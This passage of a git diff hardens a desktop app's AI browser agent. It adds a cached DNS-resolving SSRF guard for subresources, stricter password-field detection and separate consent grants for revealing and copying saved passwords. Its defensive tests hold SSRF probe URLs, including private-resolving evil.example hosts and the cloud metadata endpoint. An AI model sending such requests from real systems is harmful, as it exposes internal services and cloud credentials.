` with a closed root — still
+ // reports 'safe'. A closed root is indistinguishable from no root at all
+ // (that is what `mode: 'closed'` buys the page), and `
`
+ // buttons and menu items are everywhere, so refusing them would block Enter
+ // and Space on ordinary pages to close a targeted case. The only reliable
+ // detector is `attachShadow` throwing, which is destructive. Narrowing this
+ // needs the driver to stop trusting a page-derived signal, not a better
+ // guess here.
+ const FOCUSABLE_TAGS = [
+ 'INPUT',
+ 'TEXTAREA',
+ 'SELECT',
+ 'BUTTON',
+ 'A',
+ 'AREA',
+ 'SUMMARY',
+ 'DIALOG',
+ 'VIDEO',
+ 'AUDIO',
+ 'EMBED',
+ 'OBJECT',
+ 'IFRAME',
+ 'FRAME',
+ ]
+ const focusableItself =
+ active === active.ownerDocument.body ||
+ active.isContentEditable ||
+ active.hasAttribute('tabindex') ||
+ FOCUSABLE_TAGS.indexOf(tag) !== -1
+ if (!shadow && !focusableItself) return 'opaque'
+ if (tag === 'IFRAME' || tag === 'FRAME') {
let inner: Document | null = null
try {
inner = (active as HTMLIFrameElement).contentDocument
@@ -484,10 +622,12 @@ export function activeElementSecrecy(): string {
export function typeIntoElement(id: number, text: string, submit: boolean): unknown {
const isSecretField = (node: Element | null): boolean => {
- if (!node || node.tagName !== 'INPUT') return false
+ if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
- return hint === 'current-password' || hint === 'new-password'
+ return hint
+ .split(/\s+/)
+ .some((token) => token === 'current-password' || token === 'new-password')
}
const el = (window.__simAgentElements || [])[id]
@@ -554,10 +694,12 @@ export function pressKeyOnPage(
alt: boolean
): unknown {
const isSecretField = (node: Element | null): boolean => {
- if (!node || node.tagName !== 'INPUT') return false
+ if (!node || String(node.tagName || '').toUpperCase() !== 'INPUT') return false
if (String((node as HTMLInputElement).type || '').toLowerCase() === 'password') return true
const hint = String(node.getAttribute('autocomplete') || '').toLowerCase()
- return hint === 'current-password' || hint === 'new-password'
+ return hint
+ .split(/\s+/)
+ .some((token) => token === 'current-password' || token === 'new-password')
}
const target = (document.activeElement as HTMLElement | null) ?? document.body
diff --git a/apps/desktop/src/main/browser-agent/session.ts b/apps/desktop/src/main/browser-agent/session.ts
index 1fd2f50b5be..048eadcee91 100644
--- a/apps/desktop/src/main/browser-agent/session.ts
+++ b/apps/desktop/src/main/browser-agent/session.ts
@@ -25,7 +25,13 @@ import {
panelWindow,
} from '@/main/browser-agent/panel'
import { registerAgentWebContents } from '@/main/browser-agent/registry'
-import { checkAgentUrl, isBlockedRequestUrl } from '@/main/browser-agent/url-guard'
+import {
+ checkAgentUrl,
+ clearHostVerdictCache,
+ isBlockedRequestUrl,
+ isBlockedSubresourceUrl,
+ subresourceNeedsResolution,
+} from '@/main/browser-agent/url-guard'
const logger = createLogger('BrowserAgentSession')
@@ -297,26 +303,53 @@ function configureAgentPartition(ses: Session): void {
// iframes) get the full DNS-resolving check — the one seam every navigation
// passes through, including page-initiated ones the driver never sees (server
// redirects, link clicks, location.href, meta-refresh) — so an internal host
- // can't slip in that way. Subresources take the cheap synchronous literal-IP
- // backstop instead of a DNS lookup per asset.
+ // can't slip in that way.
+ //
+ // Subresources that come back readable or that execute get the resolving
+ // check too, cached per host; images and fonts keep the cheap synchronous
+ // path. See isBlockedSubresourceUrl and subresourceNeedsResolution for why
+ // each way round.
ses.webRequest.onBeforeRequest((details, callback) => {
+ // Answered exactly once, and never throwing. A throw inside the `then`
+ // below would otherwise land in the `catch` and answer a second time, and
+ // by the time an async check settles the request's loader may be gone —
+ // now the case for most subresources, not just the odd navigation.
+ let settled = false
+ const settle = (cancel: boolean) => {
+ if (settled) return
+ settled = true
+ try {
+ callback({ cancel })
+ } catch (error) {
+ logger.warn('Could not answer an agent request', { error: getErrorMessage(error) })
+ }
+ }
if (details.resourceType === 'mainFrame' || details.resourceType === 'subFrame') {
void checkAgentUrl(details.url)
.then((guard) => {
if (!guard.ok) {
logger.warn('Blocked agent document navigation to a private host')
}
- callback({ cancel: !guard.ok })
+ settle(!guard.ok)
})
.catch((error) => {
// Fail closed: an unexpected rejection must cancel, never leave the
// request suspended with no callback.
logger.error('Agent SSRF check failed; cancelling request', { error })
- callback({ cancel: true })
+ settle(true)
})
return
}
- callback({ cancel: isBlockedRequestUrl(details.url) })
+ if (!subresourceNeedsResolution(details.resourceType)) {
+ settle(isBlockedRequestUrl(details.url))
+ return
+ }
+ void isBlockedSubresourceUrl(details.url)
+ .then((blocked) => settle(blocked))
+ .catch((error) => {
+ logger.error('Agent subresource SSRF check failed; cancelling request', { error })
+ settle(true)
+ })
})
ses.on('will-download', (_event, item) => {
const filename = item.getFilename()
@@ -1044,6 +1077,9 @@ export function closeSession(): void {
* pinned tabs, or browsing trail.
*/
export async function clearProfileStorage(): Promise {
+ // Cached DNS verdicts are part of the browsing trail: without this a wipe
+ // leaves up to the TTL of resolved-host classifications behind.
+ clearHostVerdictCache()
closeLiveTabs()
// Stays true so a later restore cannot re-read the list being erased here.
pinnedTabsRestored = true
@@ -1090,7 +1126,12 @@ export async function clearAgentData(kinds: readonly BrowserDataKind[]): Promise
if (storages.length > 0) {
await ses.clearStorageData({ storages } as Parameters[0])
}
- if (kinds.includes('cache')) await ses.clearCache()
+ if (kinds.includes('cache')) {
+ await ses.clearCache()
+ // Resolved-host verdicts are a cache too, and a user clearing the cache
+ // means all of it.
+ clearHostVerdictCache()
+ }
}
export function listTabs(): BrowserTabState[] {
diff --git a/apps/desktop/src/main/browser-agent/url-guard.test.ts b/apps/desktop/src/main/browser-agent/url-guard.test.ts
index b43d45a7da9..8544e149b90 100644
--- a/apps/desktop/src/main/browser-agent/url-guard.test.ts
+++ b/apps/desktop/src/main/browser-agent/url-guard.test.ts
@@ -2,11 +2,19 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
const { mockLookup } = vi.hoisted(() => ({ mockLookup: vi.fn() }))
+// The real resolveHostAddresses runs; only the resolver under it is mocked, so
+// its deadline and all-addresses behaviour stay covered here.
vi.mock('node:dns/promises', () => ({
default: { lookup: mockLookup },
}))
-import { checkAgentUrl, isBlockedRequestUrl } from '@/main/browser-agent/url-guard'
+import {
+ checkAgentUrl,
+ clearHostVerdictCache,
+ isBlockedRequestUrl,
+ isBlockedSubresourceUrl,
+ subresourceNeedsResolution,
+} from '@/main/browser-agent/url-guard'
describe('checkAgentUrl', () => {
beforeEach(() => {
@@ -120,3 +128,148 @@ describe('isBlockedRequestUrl', () => {
expect(isBlockedRequestUrl('::::')).toBe(false)
})
})
+
+describe('isBlockedSubresourceUrl', () => {
+ beforeEach(() => {
+ vi.clearAllMocks()
+ clearHostVerdictCache()
+ mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }])
+ })
+
+ it('blocks a public hostname whose A record points at a private address', async () => {
+ mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }])
+
+ await expect(isBlockedSubresourceUrl('https://10-0-0-5.evil.example/probe.json')).resolves.toBe(
+ true
+ )
+ })
+
+ it('catches what the synchronous literal-IP backstop cannot', async () => {
+ mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }])
+ const url = 'https://10-0-0-5.evil.example/probe.json'
+
+ // The gap this guard exists to close: the sync check only sees literals, so
+ // a hostname with a private A record sailed through it.
+ expect(isBlockedRequestUrl(url)).toBe(false)
+ await expect(isBlockedSubresourceUrl(url)).resolves.toBe(true)
+ })
+
+ it('blocks a websocket to a privately-resolving host', async () => {
+ mockLookup.mockResolvedValue([{ address: '172.16.4.4', family: 4 }])
+
+ await expect(isBlockedSubresourceUrl('ws://internal.evil.example/socket')).resolves.toBe(true)
+ })
+
+ it('allows a hostname that resolves publicly', async () => {
+ await expect(isBlockedSubresourceUrl('https://example.com/app.js')).resolves.toBe(false)
+ })
+
+ it('blocks IPv6-mapped and link-local literals without resolving', async () => {
+ await expect(isBlockedSubresourceUrl('http://169.254.169.254/latest/meta-data')).resolves.toBe(
+ true
+ )
+ await expect(isBlockedSubresourceUrl('http://[::ffff:10.0.0.5]/x')).resolves.toBe(true)
+ expect(mockLookup).not.toHaveBeenCalled()
+ })
+
+ it('keeps the deliberate loopback carve-out', async () => {
+ await expect(isBlockedSubresourceUrl('http://127.0.0.1:3000/x')).resolves.toBe(false)
+ expect(mockLookup).not.toHaveBeenCalled()
+ })
+
+ it('re-resolves once the verdict expires', async () => {
+ vi.useFakeTimers()
+ try {
+ await isBlockedSubresourceUrl('https://example.com/a.js')
+ expect(mockLookup).toHaveBeenCalledTimes(1)
+
+ await vi.advanceTimersByTimeAsync(30_001)
+ mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }])
+ await expect(isBlockedSubresourceUrl('https://example.com/a.js')).resolves.toBe(true)
+ expect(mockLookup).toHaveBeenCalledTimes(2)
+ } finally {
+ vi.useRealTimers()
+ }
+ })
+
+ it('caches a blocked verdict too, not only an allowed one', async () => {
+ mockLookup.mockResolvedValue([{ address: '10.0.0.5', family: 4 }])
+
+ await expect(isBlockedSubresourceUrl('https://internal.example/a.js')).resolves.toBe(true)
+ await expect(isBlockedSubresourceUrl('https://internal.example/b.js')).resolves.toBe(true)
+
+ expect(mockLookup).toHaveBeenCalledTimes(1)
+ })
+
+ it('shares one lookup across concurrent requests to the same host', async () => {
+ // Sequential calls would pass on the result cache alone; a page issues these
+ // in parallel, and one getaddrinfo per request saturates the libuv pool.
+ await Promise.all([
+ isBlockedSubresourceUrl('https://example.com/a.js'),
+ isBlockedSubresourceUrl('https://example.com/b.js'),
+ isBlockedSubresourceUrl('https://example.com/c.js'),
+ isBlockedSubresourceUrl('wss://example.com/socket'),
+ ])
+
+ expect(mockLookup).toHaveBeenCalledTimes(1)
+ })
+
+ it('treats a trailing-dot host as the same host', async () => {
+ await isBlockedSubresourceUrl('https://example.com/a.js')
+ await isBlockedSubresourceUrl('https://example.com./b.js')
+
+ expect(mockLookup).toHaveBeenCalledTimes(1)
+ })
+
+ it('resolves a host once and reuses the verdict', async () => {
+ await isBlockedSubresourceUrl('https://example.com/a.js')
+ await isBlockedSubresourceUrl('https://example.com/b.js')
+ await isBlockedSubresourceUrl('https://example.com/c.js')
+
+ expect(mockLookup).toHaveBeenCalledTimes(1)
+ })
+
+ it('fails closed when the host does not resolve, without caching that', async () => {
+ mockLookup.mockRejectedValueOnce(new Error('ENOTFOUND'))
+ await expect(isBlockedSubresourceUrl('https://flaky.example/a.js')).resolves.toBe(true)
+
+ mockLookup.mockResolvedValue([{ address: '93.184.216.34', family: 4 }])
+ await expect(isBlockedSubresourceUrl('https://flaky.example/a.js')).resolves.toBe(false)
+ })
+
+ it('ignores a malformed url rather than blocking every request', async () => {
+ await expect(isBlockedSubresourceUrl('not a url')).resolves.toBe(false)
+ })
+
+ it('bounds the verdict cache', async () => {
+ for (let i = 0; i < 300; i++) {
+ await isBlockedSubresourceUrl(`https://host-${i}.example/a.js`)
+ }
+ mockLookup.mockClear()
+
+ // The earliest hosts were evicted, so they resolve again; the newest do not.
+ await isBlockedSubresourceUrl('https://host-0.example/a.js')
+ await isBlockedSubresourceUrl('https://host-299.example/a.js')
+ expect(mockLookup).toHaveBeenCalledTimes(1)
+ })
+})
+
+describe('subresourceNeedsResolution', () => {
+ it('exempts only the high-volume, non-readable types', () => {
+ expect(subresourceNeedsResolution('image')).toBe(false)
+ expect(subresourceNeedsResolution('font')).toBe(false)
+ })
+
+ it('checks every type that is readable or executes', () => {
+ for (const type of ['xhr', 'webSocket', 'media', 'script', 'stylesheet', 'object', 'ping']) {
+ expect(subresourceNeedsResolution(type)).toBe(true)
+ }
+ })
+
+ it('checks an unrecognised label rather than exempting it', () => {
+ // fetch is `xhr` on some Chromium versions and `other` on others; a label
+ // this code has never heard of must not be the one that skips the check.
+ expect(subresourceNeedsResolution('other')).toBe(true)
+ expect(subresourceNeedsResolution('someFutureType')).toBe(true)
+ })
+})
diff --git a/apps/desktop/src/main/browser-agent/url-guard.ts b/apps/desktop/src/main/browser-agent/url-guard.ts
index 23f493405e2..96b3954bedd 100644
--- a/apps/desktop/src/main/browser-agent/url-guard.ts
+++ b/apps/desktop/src/main/browser-agent/url-guard.ts
@@ -1,5 +1,5 @@
-import dns from 'node:dns/promises'
import { createLogger } from '@sim/logger'
+import { resolveHostAddresses } from '@sim/security/dns'
import {
isIpLiteral,
isLoopbackIp,
@@ -12,31 +12,6 @@ import { parseHttpUrl } from '@/main/navigation'
const logger = createLogger('BrowserAgentUrlGuard')
-/** Hard deadline on the SSRF DNS lookup so a slow/hung resolver can't suspend
- * the check — and the onBeforeRequest callback that awaits it — indefinitely.
- * A timeout rejects, which fails closed (blocks) via the caller's catch. */
-const DNS_TIMEOUT_MS = 5_000
-
-/** dns.lookup bounded by {@link DNS_TIMEOUT_MS}; the timer is always cleared so a
- * won race never leaves a dangling rejection. */
-async function resolveHost(host: string) {
- const lookup = dns.lookup(host, { all: true, verbatim: true })
- // If the timeout wins the race the lookup stays pending; swallow its eventual
- // settlement so a late rejection can't surface as an unhandled rejection.
- lookup.catch(() => {})
- let timer: NodeJS.Timeout | undefined
- try {
- return await Promise.race([
- lookup,
- new Promise((_, reject) => {
- timer = setTimeout(() => reject(new Error('DNS lookup timed out')), DNS_TIMEOUT_MS)
- }),
- ])
- } finally {
- clearTimeout(timer)
- }
-}
-
export interface UrlGuardResult {
ok: boolean
error?: string
@@ -44,6 +19,25 @@ export interface UrlGuardResult {
const OK: UrlGuardResult = { ok: true }
+/**
+ * A URL's host in the one form every guard here compares against.
+ *
+ * IPv6 brackets are unwrapped so the address classifiers see a bare address,
+ * and a trailing dot is dropped — it is a legal absolute name that resolves the
+ * same, so leaving it on would let `intranet.` and `intranet` be judged and
+ * cached as two different hosts. Null when the URL does not parse or carries no
+ * host, which every caller treats as nothing to block.
+ */
+function guardHost(rawUrl: string): string | null {
+ let hostname: string
+ try {
+ hostname = new URL(rawUrl).hostname
+ } catch {
+ return null
+ }
+ return unwrapIpv6Brackets(hostname).replace(/\.$/, '') || null
+}
+
/**
* Whether an address is off limits to the embedded browser.
*
@@ -91,7 +85,10 @@ export async function checkAgentUrl(rawUrl: string): Promise {
return { ok: false, error: 'URL must be absolute and start with http:// or https://' }
}
- const host = unwrapIpv6Brackets(url.hostname)
+ const host = guardHost(url.href)
+ if (!host) {
+ return { ok: false, error: 'That address has no host to check.' }
+ }
// IP literal: classify directly, no DNS lookup needed.
if (isIpLiteral(host)) {
@@ -103,8 +100,8 @@ export async function checkAgentUrl(rawUrl: string): Promise {
}
try {
- const resolved = await resolveHost(host)
- if (resolved.some(({ address }) => isBlockedAddress(address))) {
+ const { addresses } = await resolveHostAddresses(host)
+ if (addresses.some((address) => isBlockedAddress(address))) {
logger.warn('Blocked agent navigation resolving to private IP', { host })
return BLOCKED
}
@@ -121,21 +118,139 @@ export async function checkAgentUrl(rawUrl: string): Promise {
return OK
}
+/**
+ * Subresource types that keep the cheap synchronous literal-IP check.
+ *
+ * Images and fonts are the high-volume types and are not readable
+ * cross-origin, so the residual for them is a load/error timing oracle — a
+ * documented, accepted trade against a DNS lookup per asset.
+ */
+const LITERAL_ONLY_RESOURCE_TYPES: ReadonlySet = new Set(['image', 'font'])
+
+/**
+ * Whether a subresource needs the DNS-resolving check rather than the literal-IP
+ * backstop.
+ *
+ * Expressed as what is exempt rather than what is checked, so a resource type
+ * Chromium labels differently than expected fails safe into the checked path —
+ * `fetch` surfaces as `xhr` or `other` depending on version, and an allowlist
+ * that missed the label in use would silently reopen the hole.
+ */
+export function subresourceNeedsResolution(resourceType: string): boolean {
+ return !LITERAL_ONLY_RESOURCE_TYPES.has(resourceType)
+}
+
+/**
+ * How long a host's resolved classification is reused. Deliberately short: a
+ * DNS rebind should not stay authorized past roughly the life of a page view.
+ */
+const HOST_VERDICT_TTL_MS = 30_000
+
+/**
+ * Ceiling on the cache. A hostile page can name unlimited hostnames, so this is
+ * bounded rather than left to grow.
+ */
+const MAX_HOST_VERDICTS = 256
+
+/**
+ * The in-flight or settled verdict per host.
+ *
+ * The promise is cached, not the boolean, so the requests a single page load
+ * fires at one host share one lookup. Caching only the result left every
+ * request that arrived before the first lookup settled to start its own, and
+ * `dns.lookup` is `getaddrinfo` on the libuv threadpool — four slots by
+ * default, shared with every `fs` call in the main process. A page naming a few
+ * hundred hostnames could then queue hundreds of blocking jobs, each up to the
+ * resolver deadline, and stall unrelated work like the settings write or the
+ * credential vault.
+ */
+const hostVerdicts = new Map; expiry: number }>()
+
+function rememberHostVerdict(host: string, verdict: Promise): void {
+ if (hostVerdicts.size >= MAX_HOST_VERDICTS) {
+ // Expired entries first: at capacity the queue can be full of dead ones,
+ // and evicting those before a live entry keeps a hot host resident while a
+ // hostile page churns through hostnames.
+ const now = Date.now()
+ for (const [host, entry] of hostVerdicts) {
+ if (now >= entry.expiry) hostVerdicts.delete(host)
+ }
+ if (hostVerdicts.size >= MAX_HOST_VERDICTS) {
+ const oldest = hostVerdicts.keys().next()
+ if (!oldest.done) hostVerdicts.delete(oldest.value)
+ }
+ }
+ // Deleted first so a refreshed host moves to the back of the eviction queue
+ // rather than keeping its original slot and being dropped while still hot.
+ hostVerdicts.delete(host)
+ hostVerdicts.set(host, { verdict, expiry: Date.now() + HOST_VERDICT_TTL_MS })
+}
+
+/** Drops every cached host classification. */
+export function clearHostVerdictCache(): void {
+ hostVerdicts.clear()
+}
+
+/**
+ * DNS-resolving guard for the agent partition's readable and executable
+ * subresources.
+ *
+ * {@link isBlockedRequestUrl} only sees literal IPs, so a public hostname whose
+ * A record points at an RFC1918 or link-local address reached internal services
+ * from a page the agent was steered to — no rebinding needed, a static record
+ * was enough. The vectors that matter are the ones where the response comes
+ * back or runs: `new WebSocket('ws://internal/…')` reads data frames
+ * cross-origin because internal servers commonly ignore `Origin`, and a script
+ * or xhr response either executes in the page or is readable.
+ *
+ * Fails closed on a resolver error, for the same reason {@link checkAgentUrl}
+ * does: an unresolved host cannot be confirmed public, and Chromium resolves
+ * independently. That verdict is not cached, so a transient failure does not
+ * stick.
+ */
+export async function isBlockedSubresourceUrl(rawUrl: string): Promise {
+ const host = guardHost(rawUrl)
+ if (!host) return false
+ if (isIpLiteral(host)) return isBlockedAddress(host)
+
+ const cached = hostVerdicts.get(host)
+ if (cached && Date.now() < cached.expiry) return cached.verdict
+
+ const verdict = resolveHostAddresses(host)
+ .then(({ addresses }) => {
+ const blocked = addresses.some((address) => isBlockedAddress(address))
+ if (blocked) {
+ logger.warn('Blocked agent subresource resolving to private IP', { host })
+ }
+ return blocked
+ })
+ .catch((error) => {
+ logger.warn('Agent subresource host did not resolve; blocking', {
+ host,
+ error: getErrorMessage(error),
+ })
+ // Dropped rather than cached: a resolver hiccup must not block this host
+ // for the rest of the window.
+ hostVerdicts.delete(host)
+ return true
+ })
+ rememberHostVerdict(host, verdict)
+ return verdict
+}
+
/**
* Synchronous backstop for the agent partition's `onBeforeRequest`: blocks any
- * request whose host is a **literal** private/reserved IP. This is cheap enough
- * to run per-request and catches redirects and subresources that target the
- * metadata endpoint or an internal IP directly, without the cost of a DNS
- * lookup on every subresource. Hostnames pass here (they are classified at
- * navigation time by {@link checkAgentUrl}).
+ * request whose host is a **literal** private/reserved IP. Cheap enough to run
+ * per-request, and it catches redirects and subresources that target the
+ * metadata endpoint or an internal IP directly.
+ *
+ * Hostnames pass here. They are classified by {@link checkAgentUrl} for document
+ * navigations and by {@link isBlockedSubresourceUrl} for every subresource type
+ * except the ones {@link subresourceNeedsResolution} exempts, which are the only
+ * requests still relying on this alone.
*/
export function isBlockedRequestUrl(rawUrl: string): boolean {
- try {
- // isPrivateIpHost strips IPv6 brackets itself; unwrap again for the
- // loopback carve-out, which takes a bare address.
- const host = new URL(rawUrl).hostname
- return isPrivateIpHost(host) && !isLoopbackIp(unwrapIpv6Brackets(host))
- } catch {
- return false
- }
+ const host = guardHost(rawUrl)
+ if (!host) return false
+ return isPrivateIpHost(host) && !isLoopbackIp(host)
}
diff --git a/apps/desktop/src/main/browser-credentials/index.ts b/apps/desktop/src/main/browser-credentials/index.ts
index 5b9994fbcb4..de21a6b7d68 100644
--- a/apps/desktop/src/main/browser-credentials/index.ts
+++ b/apps/desktop/src/main/browser-credentials/index.ts
@@ -89,6 +89,7 @@ export async function forgetAllCredentials(): Promise {
const authorized = await authorizeForSecret({
credentialId: id,
+ operation: 'reveal',
reason: 'show a saved password',
action: 'Show password',
})
@@ -106,6 +107,7 @@ export async function revealCredential(id: string): Promise {
export async function copyCredential(id: string): Promise {
const authorized = await authorizeForSecret({
credentialId: id,
+ operation: 'copy',
reason: 'copy a saved password',
action: 'Copy password',
})
diff --git a/apps/desktop/src/main/browser-credentials/os-auth.test.ts b/apps/desktop/src/main/browser-credentials/os-auth.test.ts
index cc7f433ae63..91814d5fba7 100644
--- a/apps/desktop/src/main/browser-credentials/os-auth.test.ts
+++ b/apps/desktop/src/main/browser-credentials/os-auth.test.ts
@@ -43,7 +43,22 @@ function setPlatform(platform: NodeJS.Platform): void {
}
function request(credentialId: string) {
- return { credentialId, reason: 'show a saved password', action: 'Show password' }
+ return {
+ credentialId,
+ operation: 'reveal' as const,
+ reason: 'show a saved password',
+ action: 'Show password',
+ }
+}
+
+/** The weaker of the two operations: plaintext never leaves the main process. */
+function copyRequest(credentialId: string) {
+ return {
+ credentialId,
+ operation: 'copy' as const,
+ reason: 'copy a saved password',
+ action: 'Copy password',
+ }
}
describe('authorizeForSecret', () => {
@@ -110,6 +125,54 @@ describe('authorizeForSecret', () => {
expect(promptTouchID).toHaveBeenCalledTimes(2)
})
+ it('never lets a copy consent stand in for a plaintext reveal', async () => {
+ await expect(authorizeForSecret(copyRequest('c1'))).resolves.toBe(true)
+ expect(promptTouchID).toHaveBeenCalledTimes(1)
+
+ // The user approved "Copy password?"; revealing hands the string to the
+ // renderer, so it has to ask again rather than ride the copy grant.
+ await expect(authorizeForSecret(request('c1'))).resolves.toBe(true)
+ expect(promptTouchID).toHaveBeenCalledTimes(2)
+ })
+
+ it('never lets a reveal consent stand in for a copy either', async () => {
+ await expect(authorizeForSecret(request('c1'))).resolves.toBe(true)
+ expect(promptTouchID).toHaveBeenCalledTimes(1)
+
+ // Copying publishes the plaintext to the pasteboard, where other processes
+ // and Universal Clipboard can reach it — an exposure "Show password?" never
+ // described, so it asks again.
+ await expect(authorizeForSecret(copyRequest('c1'))).resolves.toBe(true)
+ expect(promptTouchID).toHaveBeenCalledTimes(2)
+ })
+
+ it('does not re-prompt for an operation already proven in the window', async () => {
+ // reveal -> copy -> reveal: each is proven independently, so the third call
+ // rides the first grant instead of asking a third time.
+ await authorizeForSecret(request('c1'))
+ await authorizeForSecret(copyRequest('c1'))
+ await authorizeForSecret(request('c1'))
+
+ expect(promptTouchID).toHaveBeenCalledTimes(2)
+ })
+
+ it('revokes every operation for a credential, not just the last proven', async () => {
+ await authorizeForSecret(request('c1'))
+ await authorizeForSecret(copyRequest('c1'))
+ revokeSecretAuthorization('c1')
+
+ await authorizeForSecret(request('c1'))
+ await authorizeForSecret(copyRequest('c1'))
+ expect(promptTouchID).toHaveBeenCalledTimes(4)
+ })
+
+ it('keeps a copy grant usable for further copies', async () => {
+ await authorizeForSecret(copyRequest('c1'))
+ await authorizeForSecret(copyRequest('c1'))
+
+ expect(promptTouchID).toHaveBeenCalledTimes(1)
+ })
+
it('asks again after the credential is explicitly revoked', async () => {
await authorizeForSecret(request('c1'))
revokeSecretAuthorization('c1')
@@ -130,11 +193,7 @@ describe('authorizeForSecret', () => {
it('labels the fallback dialog with the action it is authorizing', async () => {
canPromptTouchID.mockReturnValue(false)
- await authorizeForSecret({
- credentialId: 'c1',
- reason: 'copy a saved password',
- action: 'Copy password',
- })
+ await authorizeForSecret(copyRequest('c1'))
expect(showMessageBox).toHaveBeenCalledWith(
expect.objectContaining({
diff --git a/apps/desktop/src/main/browser-credentials/os-auth.ts b/apps/desktop/src/main/browser-credentials/os-auth.ts
index c4c3ed830ad..30e93d14680 100644
--- a/apps/desktop/src/main/browser-credentials/os-auth.ts
+++ b/apps/desktop/src/main/browser-credentials/os-auth.ts
@@ -15,8 +15,28 @@ const logger = createLogger('BrowserCredentialAuth')
*/
const AUTH_GRACE_MS = 30_000
-/** Credential id to the moment its proof of presence lapses. */
-const provenUntil = new Map()
+/**
+ * What a grant was proven for.
+ *
+ * Neither operation dominates the other, so a grant satisfies only its own.
+ * `reveal` hands the plaintext to the Sim renderer; `copy` publishes it to the
+ * macOS pasteboard, which every process on the machine can read, which
+ * clipboard managers persist to disk beyond the 30s `clipboard.clear()`, and
+ * which Universal Clipboard syncs to the user's other devices. Ordering them
+ * either way lets one consent authorize an exposure the prompt never described.
+ */
+export type SecretOperation = 'reveal' | 'copy'
+
+/**
+ * Proof of presence per credential AND operation.
+ *
+ * Nested rather than one scalar per credential: a single slot would be
+ * overwritten on each grant, so reveal → copy → reveal prompts three times
+ * inside one window even though each was already proven. Nesting also keeps
+ * revoke-by-credential a single delete, so a third operation added later cannot
+ * be left behind by a revoke that forgot to enumerate it.
+ */
+const provenUntil = new Map>()
export interface SecretAuthRequest {
/**
@@ -25,17 +45,30 @@ export interface SecretAuthRequest {
* granted for.
*/
credentialId: string
+ /**
+ * What the caller is about to do. Required, because a grant that did not
+ * record it let the weaker consent stand in for the stronger one: approving
+ * a "Copy password?" prompt silently authorized a plaintext reveal to the
+ * renderer for the rest of the window, with no second prompt and a label
+ * that described something else.
+ */
+ operation: SecretOperation
/** Completes "Sim is about to ..." in the prompt. */
reason: string
/** Confirm-button label and title for the non-biometric fallback. */
action: string
}
-function hasFreshProof(credentialId: string): boolean {
- const expiry = provenUntil.get(credentialId)
+function hasFreshProof(credentialId: string, operation: SecretOperation): boolean {
+ const grants = provenUntil.get(credentialId)
+ const expiry = grants?.get(operation)
if (expiry === undefined) return false
- if (Date.now() >= expiry) {
- provenUntil.delete(credentialId)
+ // Also lapsed when the remaining time exceeds the whole window, which is what
+ // a backwards clock step looks like — otherwise a corrected clock would leave
+ // a grant standing far longer than it was granted for.
+ const remaining = expiry - Date.now()
+ if (remaining <= 0 || remaining > AUTH_GRACE_MS) {
+ grants?.delete(operation)
return false
}
return true
@@ -73,12 +106,15 @@ export function revokeSecretAuthorization(credentialId?: string): void {
*/
export async function authorizeForSecret({
credentialId,
+ operation,
reason,
action,
}: SecretAuthRequest): Promise {
- if (hasFreshProof(credentialId)) return true
+ if (hasFreshProof(credentialId, operation)) return true
if (!(await promptForSecret(reason, action))) return false
- provenUntil.set(credentialId, Date.now() + AUTH_GRACE_MS)
+ const grants = provenUntil.get(credentialId) ?? new Map()
+ grants.set(operation, Date.now() + AUTH_GRACE_MS)
+ provenUntil.set(credentialId, grants)
return true
}
diff --git a/apps/desktop/src/main/handoff.test.ts b/apps/desktop/src/main/handoff.test.ts
index 3682c8eeca0..f594bf2b562 100644
--- a/apps/desktop/src/main/handoff.test.ts
+++ b/apps/desktop/src/main/handoff.test.ts
@@ -4,8 +4,10 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
import {
+ type AuthFlowDeps,
buildRedeemScript,
type ConnectHandoffCallback,
+ createAuthFlow,
createHandoffManager,
type HandoffCallback,
type HandoffCallbacks,
@@ -270,3 +272,51 @@ describe('connect handoff account pinning', () => {
manager.clear()
})
})
+
+describe('createAuthFlow window failures', () => {
+ function makeAuthDeps(ensureMainWindow: () => Promise) {
+ const events = makeEvents()
+ return {
+ deps: {
+ handoff: {
+ begin: vi.fn(async () => true),
+ consume: vi.fn(() => true),
+ } as unknown as AuthFlowDeps['handoff'],
+ origin: () => 'https://sim.ai',
+ events,
+ ensureMainWindow,
+ } satisfies AuthFlowDeps,
+ events,
+ }
+ }
+
+ it('records rather than rejects when no window can be opened for the callback', async () => {
+ const { deps, events } = makeAuthDeps(async () => {
+ throw new Error('Main window unavailable')
+ })
+ const flow = createAuthFlow(deps)
+
+ await expect(
+ flow.handleCallback({ state: VALID_STATE, token: VALID_TOKEN } as HandoffCallback)
+ ).resolves.toBeUndefined()
+ expect(events.record).toHaveBeenCalledWith('handoff_redeem_fail', {
+ reason: 'callback_window',
+ error: 'Main window unavailable',
+ })
+ expect(deps.handoff.consume).not.toHaveBeenCalled()
+ })
+
+ it('records rather than rejects when no window can be opened to report a failed begin', async () => {
+ const { deps, events } = makeAuthDeps(async () => {
+ throw new Error('Main window unavailable')
+ })
+ deps.handoff.begin = vi.fn(async () => false)
+ const flow = createAuthFlow(deps)
+
+ await expect(flow.beginLoginHandoff()).resolves.toBeUndefined()
+ expect(events.record).toHaveBeenCalledWith('handoff_redeem_fail', {
+ reason: 'begin_window',
+ error: 'Main window unavailable',
+ })
+ })
+})
diff --git a/apps/desktop/src/main/handoff.ts b/apps/desktop/src/main/handoff.ts
index add823f9a99..5d1313ebc56 100644
--- a/apps/desktop/src/main/handoff.ts
+++ b/apps/desktop/src/main/handoff.ts
@@ -2,6 +2,7 @@ import type { Server } from 'node:http'
import { createServer } from 'node:http'
import { createLogger } from '@sim/logger'
import { safeCompare } from '@sim/security/compare'
+import { getErrorMessage } from '@sim/utils/errors'
import { generateShortId } from '@sim/utils/id'
import type { BrowserWindow } from 'electron'
import { app, dialog } from 'electron'
@@ -364,6 +365,28 @@ export interface AuthFlow {
* back on /login.
*/
export function createAuthFlow(deps: AuthFlowDeps): AuthFlow {
+ /**
+ * The main window, or null when one cannot be obtained.
+ *
+ * Both entry points below are dispatched fire-and-forget from index.ts, and
+ * the wired `ensureMainWindow` throws when no window can be created or
+ * restored — which is reachable if the user closed the window while signing
+ * in through their browser. With no global `unhandledRejection` handler in
